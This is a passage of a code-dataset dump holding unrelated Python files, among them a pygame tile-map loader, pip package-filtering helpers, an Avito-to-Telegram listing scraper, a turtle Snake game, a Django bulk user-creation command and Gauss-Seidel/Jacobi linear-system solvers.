code\")\n#end run\n\nif __name__==\"__main__\":\n import sys, os\n\n setup()\n build()\n if os.path.basename(sys.argv[0]) == os.path.basename(__file__):\n run(sys.argv[1:])\n# end main","sub_path":"ts-node/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"649278834","text":"#!/usr/bin/env python3\nimport pgzrun\nimport pytmx\nimport pygame\n\n\n# logger = logging.getLogger('towerdef')\n\nWIDTH = 1152\nHEIGHT = 1024\nTITLE = \"tower defence\"\n\n\nclass Map:\n def __init__(self, filename):\n tile_map = pytmx.load_pygame(filename, pixelalpha=True)\n self.width = tile_map.width * tile_map.tilewidth\n self.height = tile_map.height * tile_map.tileheight\n print(tile_map)\n self.tmxdata = tile_map\n\n def render(self, surface):\n print(2)\n for layer in self.tmxdata.visible_layers:\n if isinstance(layer, pytmx.TiledTileLayer):\n for x, y, gid, in layer:\n print(x, y, gid)\n tile = self.tmxdata.get_tile_image_by_gid(gid)\n print(tile)\n if tile:\n surface.blit(tile, (x * self.tmxdata.tilewidth, y * self.tmxdata.tileheight))\n\n def make_map(self):\n print(\"3\")\n temp_surface = pygame.Surface((self.width, self.height))\n self.render(temp_surface)\n return temp_surface\n\n\nclass Game:\n def __init__(self):\n pygame.init()\n pygame.mixer.init()\n self.screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.display.set_caption(TITLE)\n self.clock = pygame.time.Clock()\n self.running = True\n self.map = Map('maps/map.tmx')\n print(\"4\")\n self.map_img = self.map.make_map()\n self.map_rect = self.map_img.get_rect()\n\n #def load_data(self):\n #game_folder = os.path.dirname(__file__)\n # map_folder = os.path.join(game_folder, 'maps')\n\n def draw(self):\n print(\"1\")\n self.screen.blit(self.map_img, self.map_rect)\n\n\ng = Game()\ng.draw()\npgzrun.go()","sub_path":"tileset.py","file_name":"tileset.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"579466426","text":"import os\nimport subprocess\nimport sys\n\nimport pkg_resources\n\n\"\"\"\nIt has been noted several times in the setuptools \"forums\", that that 3rd-party tools shouldn't\n be using pip._internal.get_installed_distributions, instead they should be using\npkg_resources.working_set ... which is all well and good, except get_installed_distributions\nallows filtering of editables packages, while working_set does not. Given the likely-hood\nthat pip._internals will change and break code, i've replicated some of the package filtering code.\n\n\nIn a newly created virtual-env\n> pip list\npip 18.0\npkg-resources 0.0.0\nsetuptools 40.4.3\nwheel 0.32.0\n\nWhich matches what pkg_resources.working_set returns.\nWe should avoid removing these packages (it will likely break the virtualenv).\n\n\"\"\"\n\n# Some platforms may list these packages, they should always be ignored.\n# From pip/_internal/utils/compat.py#193\nSTDLIB_PKGS = {\"python\", \"wsgiref\", \"argparse\"}\n\n# Minimium packages for a virtualenv (they shouldn't be uninstalled)\nVIRTUALENV_PKGS = {\"pip\", \"pkg-resources\", \"setuptools\", \"wheel\"}\n\n# packages that are super common in a virtualenv\nCOMMON_PKGS = {\"six\", \"click\", \"setupmeta\"}\n\n# packages required running piptools (us)\nPIPTOOLS_PKGS = {\"piptools\", \"click\", \"setupmeta\", \"requirements-parser\"}\n\n\ndef canonical(path, resolve_symlinks=True):\n \"\"\"\n Convert a path to its canonical, case-normalized, absolute version.\n \"\"\"\n path = os.path.expanduser(path)\n if resolve_symlinks:\n path = os.path.realpath(path)\n else:\n path = os.path.abspath(path)\n return os.path.normcase(path)\n\n\n# end\n\n\ndef dist_is_editable(dist):\n \"\"\"Is distribution an editable install?\"\"\"\n\n for path_item in sys.path:\n egg_link = os.path.join(path_item, dist.project_name + \".egg-link\")\n if os.path.isfile(egg_link):\n return True\n return False\n\n\n# end\n\n\ndef filter_by_lambdas(x, Funs):\n for f in Funs:\n if not f(x):\n return False\n return True\n\n\n# end\n\n\ndef filter_none(x):\n return True\n\n\ndef _not(f):\n return lambda x: not f(x)\n\n\ndef _ignore(ignore):\n return lambda x: x.key not in ignore\n\n\ndef _in_location(locations):\n if not isinstance(locations, list):\n locations = [canonical(locations)]\n else:\n locations = [canonical(p) for p in locations]\n\n return lambda x: any(canonical(x.location).startswith(p) for p in locations)\n\n\n# end\n\n\nSYS_PREFIX = canonical(sys.prefix)\n\n\ndef running_under_virtualenv() -> bool:\n \"\"\"\n Return True if we're running inside a virtualenv, False otherwise.\n \"\"\"\n if hasattr(sys, \"real_prefix\"):\n return True\n elif sys.prefix != getattr(sys, \"base_prefix\", sys.prefix):\n return True\n\n return False\n\n\ndef virtualenv_no_global() -> bool:\n \"\"\"\n Return True if in a venv and no system site packages.\n \"\"\"\n # this mirrors the logic in virtualenv.py for locating the\n # no-global-site-packages.txt file\n site_mod_dir = os.path.dirname(os.path.abspath(site.__file__))\n no_global_file = os.path.join(site_mod_dir, \"no-global-site-packages.txt\")\n if running_under_virtualenv() and os.path.isfile(no_global_file):\n return True\n else:\n return False\n\n\ndef _in_virtualenv():\n if running_under_virtualenv():\n return lambda x: canonical(x.location).startswith(SYS_PREFIX) or dist_is_editable(x)\n else:\n return filter_none\n\n\n# end\n\n\ndef get_distributions(ignore=None, editable=None, location=None, virtualenv=None):\n \"\"\"\n Get a list of Distributions of installed packages\n None - don't use that filter\n ignore: an in'able container of dist names to ignore\n editable: True = only editable, False = only not editable\n location: container of paths to test if dist.location is in\n\n based on pip/_internal/utils/misc.py#340\n \"\"\"\n\n filters = []\n\n if ignore is not None:\n filters.append(_ignore(ignore))\n\n if editable is not None:\n if editable:\n filters.append(dist_is_editable)\n else:\n filters.append(_not(dist_is_editable))\n # end\n\n if location is not None:\n filters.append(_in_location(location))\n\n if virtualenv:\n filters.append(_in_virtualenv())\n\n return get_filtered_distributions(*filters)\n\n\n# end\n\n\ndef get_filtered_distributions(*filters):\n if not filters:\n filters = [filter_none]\n elif len(filters) == 1 and isinstance(filters[0], list):\n filters = filters[0]\n # end\n\n return sorted(\n [\n d\n for d in pkg_resources.working_set\n if d.key not in STDLIB_PKGS and filter_by_lambdas(d, filters)\n ],\n key=lambda x: x.key,\n )\n\n\n# end\n\n\ndef get_package_names(**kwargs):\n return [p.key for p in get_distributions(**kwargs)]\n\n\ndef distributions():\n return {d.key: d for d in get_distributions()}\n\n\ndef what_installed(pkgspec):\n try:\n reqs = pkg_resources.Requirement.parse(pkgspec)\n return {d.key for d in pkg_resources.working_set.resolve([reqs])}\n except Exception:\n return set()\n\n\n# end\n\n\ndef extras_installed(d):\n try:\n base = what_installed(d.key)\n extras = []\n for extra in d.extras:\n extra_diff = what_installed(f\"{d.key}[{extra}]\") - base\n if extra_diff:\n extras.append(extra)\n return extras\n except Exception:\n return []\n\n\n# end\n\n\ndef fix_location(path):\n newp = os.path.relpath(path)\n if newp.startswith(\"..\"):\n return path\n return newp\n\n\n# end\n\n\ndef make_spec(d):\n extras = extras_installed(d)\n extras_spec = \"[{}]\".format(\",\".join(extras)) if extras else \"\"\n if dist_is_editable(d):\n location = fix_location(d.location)\n return f\"-e {location}{extras_spec}\"\n else:\n return f\"{d.project_name}=={d.version}{extras_spec}\"\n\n\n# end\n\n\n###############################################\n\n\nclass DataObject(dict):\n def __init__(self, *args, **kwargs):\n super().__init__(kwargs)\n\n def __getattr__(self, name):\n if name in self:\n return self[name]\n else:\n raise AttributeError(f\"No such attribute: {name}\")\n\n # end\n\n def __setattr__(self, name, value):\n self[name] = value\n\n def __delattr__(self, name):\n if name in self:\n del self[name]\n\n # end\n\n\n# end\n\n\nclass DevPackage(DataObject):\n def __init__(self, path):\n super().__init__()\n\n self.path = path\n\n self.name = self.run([\"python\", \"setup.py\", \"--name\"], stdout=\"capture\")\n self.dist = None\n\n # end\n\n def run(self, cmdlist, check=False, stdout=None):\n if stdout == \"capture\":\n out = subprocess.run(\n cmdlist, cwd=self.path, check=True, encoding=\"utf-8\", stdout=subprocess.PIPE\n )\n return out.stdout.strip()\n if stdout == \"stdout\" or stdout == \"print\":\n subprocess.run(cmdlist, cwd=self.path, check=check)\n else:\n subprocess.run(cmdlist, cwd=self.path, check=check, stdout=subprocess.DEVNULL)\n # end\n return True\n\n # end\n\n\n# end\n\n\nclass Context(DataObject):\n def __init__(self, path, exclude_pkg=None, exclude_dir=None):\n super().__init__(path=path)\n\n self.out = None\n self.exclude_pkg = [] if exclude_pkg is None else exclude_pkg\n self.exclude_dir = [] if exclude_dir is None else exclude_dir\n self.installed = distributions()\n\n # end\n\n def find_packages(self):\n for x in os.listdir(self.path):\n if x.startswith(\".\") or x in self.exclude_dir:\n continue\n pack_path = os.path.join(self.path, x)\n if os.path.isdir(pack_path):\n setup_path = os.path.join(pack_path, \"setup.py\")\n if os.path.isfile(setup_path):\n new_pack = self._make_package(pack_path)\n if new_pack.name not in self.exclude_pkg:\n yield new_pack\n # end\n # end\n # end\n\n # end\n\n def _make_package(self, path):\n pack = DevPackage(path)\n if pack.name in self.installed:\n pack.dist = self.installed[pack.name]\n\n return pack\n\n # end\n\n\n# end\n","sub_path":"src/more/venv/dists.py","file_name":"dists.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"603406305","text":"#!/usr/bin/env python3\n\nimport requests\nimport telebot\nfrom bs4 import BeautifulSoup\nfrom pytils import dt\nimport datetime\n\nCNANNEL_NAME = \"@\"\nTOKEN = ''\nbot = telebot.TeleBot(TOKEN)\n\n\nsource_url = 'https://www.avito.ru/sverdlovskaya_oblast/noutbuki?user=1'\nperiod = 30\nMAX_PRICE = 20000\ntoday = datetime.datetime.strftime(datetime.datetime.now(), \"%d\")\nnow = now = datetime.datetime.now()\nnow_minus = now - datetime.timedelta(minutes = period)\ntime_cmp = datetime.datetime.strftime(now_minus, '%H:%M')\n\ndef parse(html):\n soup = BeautifulSoup(html, \"lxml\")\n for link in soup.find_all('div', class_='description'):\n href = link.a['href']\n datereal = link.find_all('div', class_='date c-2')\n datereal = datereal[0].string.strip()\n if datereal.split()[0] == 'Сегодня':\n datereal = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()) + \" \" + datereal.split()[1])\n if datereal.split()[0] == 'Вчера':\n yesterday = datetime.timedelta(days=1)\n datereal = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()-yesterday) + \" \" + datereal.split()[1])\n date_time = link.find_all('div', class_='date c-2')\n date_time = date_time[0].string.strip()\n if date_time.split()[0] == 'Сегодня':\n date_time = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()) + \" \" + date_time.split()[1])\n if date_time.split()[0] == 'Вчера':\n yesterday = datetime.timedelta(days=1)\n date_time = str(dt.ru_strftime(u\"%d %B\", inflected=True, date=datetime.datetime.now()-yesterday) + \" \" + date_time.split()[1])\n price = link.find_all('div', class_='about')\n lower_price = soup.find_all('a', class_='price-lower')\n price = price[0].text\n price = str(price)\n price = (str(price).replace(\" руб.\", \"\"))\n price = price.replace(' ', '')\n price = price.strip()\n price = price.strip()\n try:\n if price:\n price = int(price)\n if int(price) > MAX_PRICE:\n continue\n else:\n price = u'Без цены '\n except ValueError:\n price = u'Без цены '\n d, *m, t = date_time.split(' ')\n if d == today:\n if t >= time_cmp:\n msg_to_channel(\"%s, https://www.avito.ru%s, %s руб.\" %(date_time, href, price))\n\n\ndef get_html():\n all_url = 'https://www.avito.ru/sverdlovskaya_oblast/noutbuki?p={0}&user=1'\n num_pages = get_number_pages()\n responce = requests.get(all_url.format(1))\n for i in range(1, num_pages + 1):\n responce = requests.get(all_url.format(i))\n parse(responce.content)\n\n\ndef get_number_pages():\n page_list = []\n responce = requests.get(source_url)\n page_content = responce.content\n soup = BeautifulSoup(page_content, \"lxml\")\n pagination_page = soup.find_all('a', class_='pagination-page')\n num_pages = pagination_page[-2].string\n return int(num_pages)\n\n\ndef get_all_list():\n get_html()\n\ndef msg_to_channel(*args):\n msg = args\n bot.send_message(CNANNEL_NAME, msg)\n\nif __name__ =='__main__':\n get_all_list()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"584878355","text":"import unicodedata\nimport functools\n\nnfc = functools.partial(unicodedata.normalize, 'NFC')\n\n\nif __name__ == '__main__':\n s1 = 'café'\n s2 = 'cafe\\u0301'\n\n print((s1, s2))\n # ('café', 'café')\n\n print(s1 == s2)\n # False\n\n print(nfc(s1) == nfc(s2))\n # True\n","sub_path":"chapter_05/example_05_27.py","file_name":"example_05_27.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"87485802","text":"#windown part 1\n#hear part 2\n#food part 3\n#snake body grow\n#Border Collisions\n#body collisions\n#Scoring\n\n\nimport turtle\nimport time\nimport random\n\n\ndelay = 0.1\n\n\n#Score\nscore = 0\nhigh_score = 0\n\n# Set up the screen\nwn = turtle.Screen()\nwn.title(\"Snake Game by @TokyoEdtech\")\nwn.bgcolor(\"green\")\nwn.setup(width=600,height= 600)\nwn.tracer(0) #Turn off\n\n\n# Snake head\nhead = turtle.Turtle()\nhead.speed(0)\nhead.shape(\"square\")\nhead.color(\"black\")\nhead.penup()\nhead.goto(0,0)\nhead.direction = \"stop\"\n\n#snake food\nfood = turtle.Turtle()\nfood.speed(0)\nfood.shape(\"circle\")\nfood.color(\"red\")\nfood.penup()\nfood.goto(0,100)\n\n\nsegments = []\n\npen = turtle.Turtle()\npen.speed(0)\npen.shape(\"square\")\npen.color(\"white\")\npen.penup()\npen.hideturtle()\npen.goto(0,260)\npen.write(\"Score: 0 High Score: 0 \" , align =\"center\" , font = (\"Courier\" , 24,\"normal\") ) \n\n\n\n\n\n\n\n\n# Funtions\ndef move():\n if head.direction == \"up\":\n y = head.ycor()\n head.sety(y + 20 )\n\n if head.direction == \"down\":\n y = head.ycor()\n head.sety(y - 20 )\n \n if head.direction == \"left\":\n x = head.xcor()\n head.setx(x - 20 )\n\n if head.direction == \"right\":\n x = head.xcor()\n head.setx(x + 20 )\n\n \ndef go_up():\n if head.direction != \"down\":\n head.direction = \"up\"\n\n \ndef go_down():\n if head.direction != \"up\":\n head.direction = \"down\" \n\ndef go_left():\n if head.direction != \"right\":\n head.direction = \"left\"\n\ndef go_right():\n if head.direction != \"left\":\n head.direction = \"right\" \n\n\n\n#keyboard bindings\nwn.listen()\nwn.onkeypress(go_up, \"w\")\nwn.onkeypress(go_down, \"s\")\nwn.onkeypress(go_left, \"a\")\nwn.onkeypress(go_right, \"d\")\n\n\n#Main game loop\nwhile True:\n wn.update()\n # Check for a collision with the border\n if head.xcor() > 290 or head.xcor()< -290 or head.ycor() > 290 or head.ycor() < -290:\n time.sleep(1)\n head.goto(0,0)\n head.direction = \"stop\" \n \n \n # Hide the segmenst\n for segment in segments:\n segment.goto(1000 , 1000)\n\n segments.clear()\n score = 0\n\n # reset delay\n delay = 0.1\n\n pen.clear()\n pen.write(\"Score: {} High Score: {}\".format(score , high_score ), align= \"center\", font = (\"Courier\" , 24,\"normal\") ) \n\n\n\n\n\n\n\n\n # Check for a collision with the food\n if head.distance(food) < 20:\n # Move the food to random\n x = random.randint(-290,290)\n y = random.randint(-290,290 )\n food.goto(x , y)\n\n # Add a segment\n new_segment = turtle.Turtle()\n new_segment.speed(0)\n new_segment.shape(\"square\")\n new_segment.color(\"grey\")\n new_segment.penup()\n segments.append(new_segment)\n\n\n # Shorten the delay\n delay -= 0.001\n\n\n # increase the score\n score += 10\n\n if score > high_score:\n high_score = score\n pen.clear()\n pen.write(\"Score: {} High Score: {}\".format(score , high_score ), align= \"center\", font = (\"Courier\" , 24,\"normal\") )\n\n # Move the end segments first in revers order\n for index in range(len(segments)-1 , 0 , -1 ):\n x = segments[index - 1].xcor()\n y = segments[index -1].ycor()\n segments[index].goto(x , y )\n # Move segmenst 0 to where the head is\n if len(segments) > 0 :\n x = head.xcor()\n y = head.ycor()\n segments[0].goto(x,y)\n\n\n move()\n\n # Check for head collision with the body segments\n for segment in segments:\n if segment.distance(head) < 20 :\n time.sleep(1)\n head.goto(0 , 0)\n head.direction = \"stop\"\n\n # Hide the segmenst\n for segment in segments:\n segment.goto(1000 , 1000)\n\n segments.clear() \n\n score = 0\n\n # reset delay\n delay = 0.1\n\n\n pen.clear()\n pen.write(\"Score: {} High Score: {}\".format(score , high_score ), align= \"center\", font = (\"Courier\" , 24,\"normal\") )\n\n\n\n time.sleep(delay)\n\n\nwn.mainloop()","sub_path":"Snake Game/Snake_Game1.py","file_name":"Snake_Game1.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"410822203","text":"import os, sys\nimport re\ndef getpythonenv(options,buildout):\n \"\"\"Where python looks to get its cflags.\"\"\"\n if os.uname()[0] == 'Darwin':\n cwd = os.getcwd()\n os.chdir(options['compile-directory'])\n os.system('autoconf -v -f')\n os.chdir(cwd)\n # holly hack to make cflags/ldflags from minitage always in compilation statements\n os.environ['OPT'] = os.environ['CFLAGS']\n\n\ndef patchincludes(options,buildout):\n \"\"\"Where python looks to get its cflags.\"\"\"\n u, v = os.uname()[0],os.uname()[3]\n if u == 'Darwin' and v == '9.8.0':\n cmyfile = [l for l in open(\n os.path.join(\n options['compile-directory'],\n 'pyconfig.h'),\n 'r'\n ).readlines() if not 'SETPGRP_HAVE_ARG' in l]\n cmyfile = open(\n os.path.join(\n options['compile-directory'],\n 'pyconfig.h'),\n 'w'\n ).writelines(cmyfile + ['\\n#define SETPGRP_HAVE_ARG 1\\n'])\n# vim:set ts=4 sts=4 et :\n","sub_path":"hooks/setenv.py","file_name":"setenv.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"334365432","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass FullyConnected(nn.Module):\n \"\"\"A generic fully connected network with ReLu activations, biases and no activation function for the output\"\"\"\n def __init__(self,architecture):\n \"\"\"architecture needs to be a list that describes the architecture of the network, e.g. [4,16,16,2] is a network with 4 inputs, 2 outputs and two hidden layers with 16 neurons each\"\"\"\n super(FullyConnected, self).__init__()\n self.layers = nn.ModuleList()\n for i in range(0,len(architecture)-1):\n self.layers.append(nn.Linear(architecture[i],architecture[i+1],bias=True))\n\n # Called with either one element to determine next action, or a batch\n # during optimization. Returns tensor([[left0exp,right0exp]...]).\n def forward(self, x):\n for layer in self.layers[:-1]:\n x = F.relu(layer(x))\n # no ReLu activation in the output layer\n x = self.layers[-1](x)\n return x\n\n # this function returns all intermediate results and is needed for the robust and data based normalization methods for conversion to a spiking network\n def forward_return_all(self, x):\n all_neurons_output = []\n for i in range(0,len(self.layers)-1):\n x = F.relu(self.layers[i](x))\n all_neurons_output.append(x)\n # no ReLu activation in the output layer\n x = self.layers[-1](x)\n all_neurons_output.append(x)\n return all_neurons_output\n\n","sub_path":"Code/NeuralNetworks.py","file_name":"NeuralNetworks.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"212876863","text":"import torch\n\nimport numpy as np\n\n\ndef element_wise_mul_2(input1, input2):\n\n feature_list = []\n for feature_1, feature_2 in zip(input1, input2):\n feature_2 = feature_2.unsqueeze(1).expand_as(feature_1)\n # print(\"feature 1 \", feature_1)\n # print(\"feature 2 \", feature_2)\n feature = feature_1 * feature_2\n # print(\"feature \", feature)\n feature_list.append(feature.unsqueeze(0))\n output = torch.cat(feature_list, 0)\n\n return output\n\n\nx = torch.arange(1, 9).view(2, 4)\ny = torch.LongTensor(4, 2).random_(0, 10)\n#\n# y = torch.arange(1, 41).view(2, 4, 5)\n# # print(x)\n# # print(y)\n# # z = torch.cat((x, y), dim=0)\n# # print(z)\n# #\n# # print(x)\n# # print(x.transpose(1, 0))\n# # print(x.permute(1, 0, 2))\n# from HAN.src.utils import matrix_mul, element_wise_mul\n#\n#\n# score = torch.arange(1, 9).view(2, 4) # [ src sent len, batch size]\n# # y = torch.LongTensor(1, 3, 5).random_(0, 10)\n#\n# values = torch.arange(1, 41).view(2, 4, 5) # [ src sent len, batch size, enc hid dim]\n\n# print(\"v\")\n# print(values.shape)\n# print(values)\n# print(\".....\")\n#\n# print(\"score\")\n# print(score.shape)\n# print(score)\n# print(\".....\")\n#\n#\n# z = element_wise_mul(values, score)\n# print(\"z\")\n# print(z.shape)\n# print(z)\n\n\n\nprint(\"ATTENTION 2\")\n\n# attention = torch.arange(1, 9).view(4, 2) # [batch size, src sent len]\n# enccoder_outputs = torch.arange(1, 41).view(4, 2, 5) # [batch size, src sent len, enc dim]\n# article_encode = torch.arange(1, 21).view(4, 5) # [batch size, src sent len, enc dim]\n#\n#\n# arrays = [np.random.randn(3, 4) for _ in range(2)]\n# x = np.stack(arrays, axis=0)\n# print(x)\n# print(\"...................\")\n# x += 1\n#\n# print(x)\n# acc = 0\n# a = [20, 24, 15]\n# b = [30, 30, 20]\n# for i in range(len(a)):\n# acc += a[i] / b[i]\n# print(acc / len(a))\n# print(sum(a) / sum(b))\n#\n#\n# mat = [[nan, nan]]\n# b = np.isnan(mat)\n# for a in b:\n# for x in a:\n# if x:\n# print(\"nan found\")\n# break\n# break\n\n# print(\"article encode\")\n# print(article_encode)\n# print(\"....\")\n# article_max_length_word = 4\n# article_max_length_sentences = 2\n#\n# article_encode = [sentences[:article_max_length_word] for sentences in article_encode]\n# print(article_encode)\n\n# f = torch.bmm(attention.unsqueeze(1), enccoder_outputs)\n# print(\"attention\")\n# print(attention.shape)\n# print(attention)\n# print(\".....\")\n#\n# print(\"encoder outputs\")\n# print(enccoder_outputs.shape)\n# print(enccoder_outputs)\n# print(\".....\")\n#\n# print(\"......\")\n# print(f)\n# print(f.shape)\n# print(\"mul 2..........\")\n# n = element_wise_mul_2(enccoder_outputs, attention)\n# print(n)\n# print(n.shape)\n\n\nxe = torch.randn(3, 2)\nprint(xe)\n#\n#\n# g = torch.tensor([[nan, nan], [nan, nan],\n# [nan, nan]])\n# h = torch.tensor([[2, 3], [4, 5],\n# [1, 2]])\n# print(isinstance(g[0][0].item(), int))\n# print(isinstance(g[0][0].item(), float))\n# print(int(g[0][0]))\n# print(isinstance(h[0][0].item(), int))\n# print(isinstance(h[0][0].item(), float))","sub_path":"HAN_speech_act/src/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"127815937","text":"from django.contrib.auth.models import User\nfrom django.core.management.base import BaseCommand\nimport pandas as pd\nfrom pathlib import Path\nfrom course.models import Class\n\n\nclass Command(BaseCommand):\n help = 'Create users from Blackboard file'\n\n def add_arguments(self, parser):\n parser.add_argument('filename',\n type=str,\n help='Indicates the file to be used')\n parser.add_argument(\n 'course',\n type=str,\n help='Indicates the name of the course to add the students')\n\n def handle(self, *args, **kwargs):\n filename = Path(kwargs['filename'])\n coursename = kwargs['course']\n if 'csv' in filename.suffix:\n df = pd.read_csv(filename)\n elif 'xls' in filename.suffix:\n df = pd.read_excel(filename)\n else:\n return\n course = Class.objects.get(name=coursename)\n for user_data in df.iterrows():\n first_name = user_data[1]['Nome']\n try:\n last_name = user_data[1]['Sobrenome']\n except:\n first_name = first_name.split(' ')[0]\n last_name = ' '.join(first_name.split(' ')[1:])\n username = user_data[1]['Nome do usuário']\n email = username + '@al.insper.edu.br'\n users_same_name = User.objects.filter(username=username)\n if not users_same_name:\n print('Creating user: {0}'.format(username))\n User.objects.create_user(username=username,\n email=email,\n password=username,\n first_name=first_name,\n last_name=last_name)\n user = User.objects.get(username=username)\n if user not in course.students.all():\n print('Adding {0} in {1}'.format(username, coursename))\n course.students.add(user)\n course.save()\n","sub_path":"core/management/commands/batch_add_users.py","file_name":"batch_add_users.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"381366980","text":"n,m,h=[int(i) for i in input().split()]\na=[int(i) for i in input().split()]\nb=[int(i) for i in input().split()]\nc=[[int(i) for i in input().split()] for j in range(n)]\n\nfor i in range(n):\n target = b[i]\n for j in range(m):\n if c[i][j]==0: continue\n if a[j] < target: continue\n c[i][j] = target\nfor j in range(m):\n target = a[j]\n for i in range(n):\n if c[i][j]==0: continue\n if b[i] < target: continue\n c[i][j] = target\nfor row in c:\n for col in row:\n print(col,end=' ')\n print()\n","sub_path":"codeforces/normal/1100/codeforces1153b.py","file_name":"codeforces1153b.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"206605557","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport random\nfrom functools import reduce\nfrom math import pow, log\n\nclass Vector:\n @staticmethod\n def sub(a,b):\n if (len(a)!=len(b)):\n raise Exception(\"Vector sub error: wrong sizes\")\n return [i-j for i,j in zip(a,b)]\n\n @staticmethod\n def sum(a,b):\n if (len(a)!=len(b)):\n raise Exception(\"Vector sub error: wrong sizes\")\n return [i+j for i,j in zip(a,b)]\n\n @staticmethod\n def compare(a, eps):\n for elem in a:\n if(abs(elem) > eps):\n return 1\n return 0\n\n @staticmethod\n def norm(a):\n return max([abs(i) for i in a])\n\nclass Matrix:\n\n @staticmethod\n def _gauss(matrix, f):\n eps = pow(10, -5)\n x = list(f)\n n = 0\n tmp = [0 for _ in range(len(x))]\n\n while(Vector.compare(Vector.sub(x, tmp), eps) > 0):\n tmp = list(x)\n for i in range(len(x)):\n sum = 0\n for j in range(len(x)):\n if j != i:\n sum += matrix[i][j] * x[j] / matrix[i][i]\n x[i] = f[i] / matrix[i][i] - sum\n n = n + 1\n\n return x, n\n\n @staticmethod\n def _jacobi(matrix, f):\n tMatrix = list(list(i) for i in matrix)\n tF = list(f)\n eps = pow(10, -5)\n n = 0\n tmp = [0 for _ in range(len(f))]\n for i in range(len(matrix)):\n for j in range(len(matrix[i])):\n if(i != j):\n tMatrix[i][j] /= tMatrix[i][i]\n tF[i] /= tMatrix[i][i]\n tMatrix[i][i] = 0\n\n x = list(tF)\n\n normB = Matrix.norm(tMatrix)\n normF = Vector.norm(tF)\n print(\"Норма B: \" + str(normB))\n print(\"Норма x0: \" + str(normF))\n print(\"Оценка количества итераций: n <= \" + str(log(eps * (1 - normB) / normF) / log(normB) + 1))\n\n while (Vector.compare(Vector.sub(x, tmp), eps) > 0):\n tmp = list(x)\n for i in range(len(matrix)):\n sum = 0\n for j in range(len(matrix)):\n sum += tMatrix[i][j] * tmp[j]\n x[i] = tF[i] - sum\n n = n + 1\n\n return tMatrix, x, n\n\n #транспонирование\n @staticmethod\n def transpose(matrix):\n return [[matrix[j][i] for j in range(len(matrix[i]))] for i in range(len(matrix))]\n\n @staticmethod\n def norm(matrix):\n return max([sum([abs(i) for i in line]) for line in matrix])\n\n #умножение матриц\n @staticmethod\n def mul(a,b):\n if (len(a[0])!=len(b)):\n raise Exception(\"Matrix mul error: wrong sizes\")\n return [[(sum(a[i][k]*b[k][j] for k in range(len(a)))) for j in range(len(a[i]))] for i in range(len(a))]\n\n #умножение матрицы на столбец\n @staticmethod\n def mulVector(matrix,vector):\n if (len(matrix[0])!=len(vector)):\n raise Exception(\"Matrix mulVector error: wrong sizes\")\n return [(sum([matrix[i][j]*vector[j] for j in range(len(vector))])) for i in range(len(matrix))] \n\n #сумма матриц\n @staticmethod\n def sum(a,b):\n if (len(a)!= len(b) or len(a[0]) != len(b[0])): \n raise Exception(\"Matrix sub error: wrond size\") \n return [[a[i][j]+b[i][j] for j in range(len(a[i]))]for i in range(len(a))]\n\n #разность матриц\n @staticmethod\n def sub(a,b):\n if (len(a)!= len(b) or len(a[0]) != len(b[0])): \n raise Exception(\"Matrix sub error: wrond size\") \n return [[a[i][j]-b[i][j] for j in range(len(a[i]))]for i in range(len(a))]\n\n @staticmethod\n def devide(a,con):\n return [[a[i][j] / con for j in range(len[a[i]])] for i in range(len(a))]\n\n #печать матрицы\n @staticmethod\n def print(matrix,precision = 16): \n for line in matrix:\n for item in line:\n print(str(round(item,precision)), end='\\t')\n print('\\n')\n\n\nclass SLE:\n #инициализация СЛУ\n def __init__(self):\n #задание матрицы A \n self.__matrix = [\n [0.6897, -0.0908, 0.0182, 0.0363, 0.1271],\n [0.0944, 1.0799, 0.0000, -0.0726, 0.0726],\n [0.0545, 0.0000, 0.8676, -0.2541, 0.1452],\n [-0.1089, 0.2287, 0.0000, 0.8531, -0.0363],\n [0.4538, 0.0000, 0.1634, 0.0182, 1.0164]\n ]\n #задание f\n self.__result = [4.2108, 4.6174, -5.8770, 2.7842, 0.2178]\n\n #A\n def getMatrix(self):\n return [(list(i)) for i in self.__matrix]\n \n #f\n def getF(self):\n return list(self.__result)\n\n #печать условия\n def print(self):\n for i in range(len(self.__matrix)):\n for j in range(len(self.__matrix[i])):\n print(str(self.__matrix[i][j]), end='\\t')\n print(\" | \"+ str(self.__result[i]))\n print('\\n')\n\n #решение системы\n def solve(self,f = None):\n if (f == None):\n return Matrix._gauss(self.__matrix,self.__result), Matrix._jacobi(self.__matrix, self.__result)\n else:\n return Matrix._gauss(self.__matrix,f), Matrix._jacobi(self.__matrix, f)\n","sub_path":"lab3/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"148072153","text":"import 